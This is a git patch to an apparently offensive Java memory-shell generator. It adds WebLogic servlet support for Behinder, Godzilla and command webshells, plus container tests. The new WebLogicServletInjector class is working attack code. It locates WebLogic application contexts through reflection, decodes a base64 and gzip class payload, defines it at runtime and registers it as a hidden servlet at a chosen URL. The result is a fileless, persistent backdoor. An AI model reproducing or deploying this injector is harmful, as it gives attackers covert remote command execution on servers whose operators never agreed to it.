From ba2b74af66e9ccf3e89ad4b3f680592d2862966d Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 24 Dec 2024 21:09:49 +0800 Subject: [PATCH] feat: support weblogic servlet (resolved #5) --- README.md | 10 +- .../javaweb/memshell/WebLogicShell.java | 7 + .../weblogic/docker-compose-1036.yaml | 11 + .../weblogic/WebLogic1036ContainerTest.java | 14 +- .../weblogic/WebLogic12214ContainerTest.java | 4 +- .../weblogic/WebLogic14110ContainerTest.java | 4 +- .../injector/WebLogicFilterInjector.java | 6 - .../injector/WebLogicServletInjector.java | 250 ++++++++++++++++++ 8 files changed, 287 insertions(+), 19 deletions(-) create mode 100644 integration-test/docker-compose/weblogic/docker-compose-1036.yaml create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicServletInjector.java diff --git a/README.md b/README.md index ef9c1ac4..7d21bf75 100644 --- a/README.md +++ b/README.md @@ -44,11 +44,11 @@ | Listener | Listener | Filter | Filter | | | | Listener | Listener | -| WebSphere(7 ~ 9) | WebLogic (10 ~ 14) | -|------------------|--------------------| -| Servlet | Filter | -| Filter | Listener | -| Listener | | +| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) | +|------------------|-------------------------| +| Servlet | Servlet | +| Filter | Filter | +| Listener | Listener | | 宝兰德 BES | 东方通 TongWeb | 中创 InforSuite AS (9 ~ 10) | 金蝶 Apusic AS | |---------|-------------|---------------------------|--------------| diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java index fdd37639..bb7e6b3e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java @@ -2,13 +2,17 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener; import com.reajason.javaweb.memshell.weblogic.command.CommandListener; import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector; import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector; +import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector; import org.apache.commons.lang3.tuple.Pair; import java.util.Map; @@ -21,6 +25,7 @@ public class WebLogicShell extends AbstractShell { @Override protected Map, Class>> getBehinderShellMap() { return Map.of( + Constants.SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class), Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class), Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class) ); @@ -29,6 +34,7 @@ public class WebLogicShell extends AbstractShell { @Override protected Map, Class>> getCommandShellMap() { return Map.of( + Constants.SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class), Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class), Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class) ); @@ -37,6 +43,7 @@ public class WebLogicShell extends AbstractShell { @Override protected Map, Class>> getGodzillaShellMap() { return Map.of( + Constants.SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class), Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class), Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class) ); diff --git a/integration-test/docker-compose/weblogic/docker-compose-1036.yaml b/integration-test/docker-compose/weblogic/docker-compose-1036.yaml new file mode 100644 index 00000000..0676bc9a --- /dev/null +++ b/integration-test/docker-compose/weblogic/docker-compose-1036.yaml @@ -0,0 +1,11 @@ +services: + weblogic1036: + image: reajason/weblogic:10.3.6 + container_name: weblogic1036 + ports: + - "7001:7001" + - "5005:5005" + environment: + JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n" + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java index 4e684f36..7fe1c92e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -6,6 +6,7 @@ import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -36,6 +37,9 @@ public class WebLogic1036ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64), // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), @@ -45,12 +49,10 @@ public class WebLogic1036ContainerTest { ); } -// @AfterAll -// static void tearDown() { -// String logs = container.getLogs(); -// log.info(logs); -// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); -// } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java index 0c012d32..71d4ce37 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java @@ -39,6 +39,9 @@ public class WebLogic12214ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), @@ -51,7 +54,6 @@ public class WebLogic12214ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java index a907d660..7e116e46 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java @@ -39,6 +39,9 @@ public class WebLogic14110ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), @@ -51,7 +54,6 @@ public class WebLogic14110ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicFilterInjector.java index 030536b3..c3342301 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicFilterInjector.java @@ -22,7 +22,6 @@ public class WebLogicFilterInjector { return "{{urlPattern}}"; } - public String getClassName() { return "{{className}}"; } @@ -153,9 +152,6 @@ public class WebLogicFilterInjector { return obj; } - /** - * https://github.com/BeichenDream/GodzillaMemoryShellProject - */ @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { if (isInjected(context)) { @@ -164,10 +160,8 @@ public class WebLogicFilterInjector { Object filterManager = invokeMethod(context, "getFilterManager", null, null); Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null); Map> cachedClasses = (Map>) getFieldValue(servletClassLoader, "cachedClasses"); - //或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了 cachedClasses.put(getClassName(), filter.getClass()); invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}}); - //将filter置为第一位 List filterPatternList = (List) getFieldValue(filterManager, "filterPatternList"); Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); filterPatternList.add(0, currentMapping); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicServletInjector.java new file mode 100644 index 00000000..d5f1522b --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicServletInjector.java @@ -0,0 +1,250 @@ +package com.reajason.javaweb.memshell.weblogic.injector; + +import javax.servlet.Servlet; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Arrays; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class WebLogicServletInjector { + + static { + new WebLogicServletInjector(); + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public WebLogicServletInjector() { + try { + Object[] contexts = getContext(); + for (Object context : contexts) { + Object servlet = getShell(context); + inject(context, servlet); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static Object[] getContextsByMbean() throws Throwable { + Set webappContexts = new HashSet(); + Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); + Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); + Method theOneMethod = serverRuntimeClass.getMethod("theOne"); + theOneMethod.setAccessible(true); + Object serverRuntime = theOneMethod.invoke(null); + Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); + getApplicationRuntimesMethod.setAccessible(true); + Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); + int applicationRuntimeSize = Array.getLength(applicationRuntimes); + for (int i = 0; i < applicationRuntimeSize; i++) { + Object applicationRuntime = Array.get(applicationRuntimes, i); + try { + Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes"); + Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime); + int componentRuntimeSize = Array.getLength(componentRuntimes); + for (int j = 0; j < componentRuntimeSize; j++) { + Object context = getFieldValue(Array.get(componentRuntimes, j), "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } + } catch (Throwable ignored) { + } + + try { + Set childrenSet = (Set) getFieldValue(applicationRuntime, "children"); + for (Object componentRuntime : childrenSet) { + try { + Object context = getFieldValue(componentRuntime, "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } catch (Throwable ignored) { + } + } + } catch (Throwable ignored) { + } + } + return webappContexts.toArray(); + } + + public static Object[] getContextsByThreads() throws Throwable { + Set webappContexts = new HashSet(); + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + int threadCount = threadGroup.activeCount(); + Thread[] threads = new Thread[threadCount]; + threadGroup.enumerate(threads); + for (int i = 0; i < threadCount; i++) { + Thread thread = threads[i]; + if (thread != null) { + Object workEntry = getFieldValue(thread, "workEntry"); + if (workEntry != null) { + try { + Object context = null; + Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); + if (connectionHandler != null) { + Object request = getFieldValue(connectionHandler, "request"); + if (request != null) { + context = getFieldValue(request, "context"); + } + } + if (context == null) { + context = getFieldValue(workEntry, "context"); + } + + if (context != null) { + webappContexts.add(context); + } + } catch (Throwable ignored) { + } + } + } + } + return webappContexts.toArray(); + } + + public static Object[] getContext() { + Set webappContexts = new HashSet(); + try { + webappContexts.addAll(Arrays.asList(getContextsByMbean())); + } catch (Throwable ignored) { + } + try { + webappContexts.addAll(Arrays.asList(getContextsByThreads())); + } catch (Throwable ignored) { + } + return webappContexts.toArray(); + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + /** + * server/lib/weblogic.jar + * weblogic.servlet.internal.WebAppServletContext + */ + public void inject(Object context, Object servlet) throws Exception { + // weblogic.servlet.utils.URLMapping + Object servletMapping = invokeMethod(context, "getServletMapping", null, null); + Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); + Class servletStubImplClass = Class.forName("weblogic.servlet.internal.ServletStubImpl"); + Object servletStub = null; + Constructor servletStubImplConstructor = null; + try { + servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, Servlet.class, webAppServletContextClass); + servletStubImplConstructor.setAccessible(true); + servletStub = servletStubImplConstructor.newInstance(getClassName(), servlet, context); + } catch (NoSuchMethodException e) { + // 10.3.6 + servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, String.class, webAppServletContextClass, Map.class); + servletStubImplConstructor.setAccessible(true); + servletStub = servletStubImplConstructor.newInstance(getClassName(), getClassName(), context, null); + } + Constructor urlMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, servletStubImplClass); + urlMatchHelperConstructor.setAccessible(true); + Object urlMatchHelper = urlMatchHelperConstructor.newInstance(getUrlPattern(), servletStub); + Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()}); + if (mapping == null) { + invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper}); + System.out.println("servlet inject successful"); + } else { + System.out.println("servlet already injected"); + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = obj.getClass(); + Method method = clazz.getDeclaredMethod(methodName, paramClazz); + method.setAccessible(true); + return method.invoke(obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } +}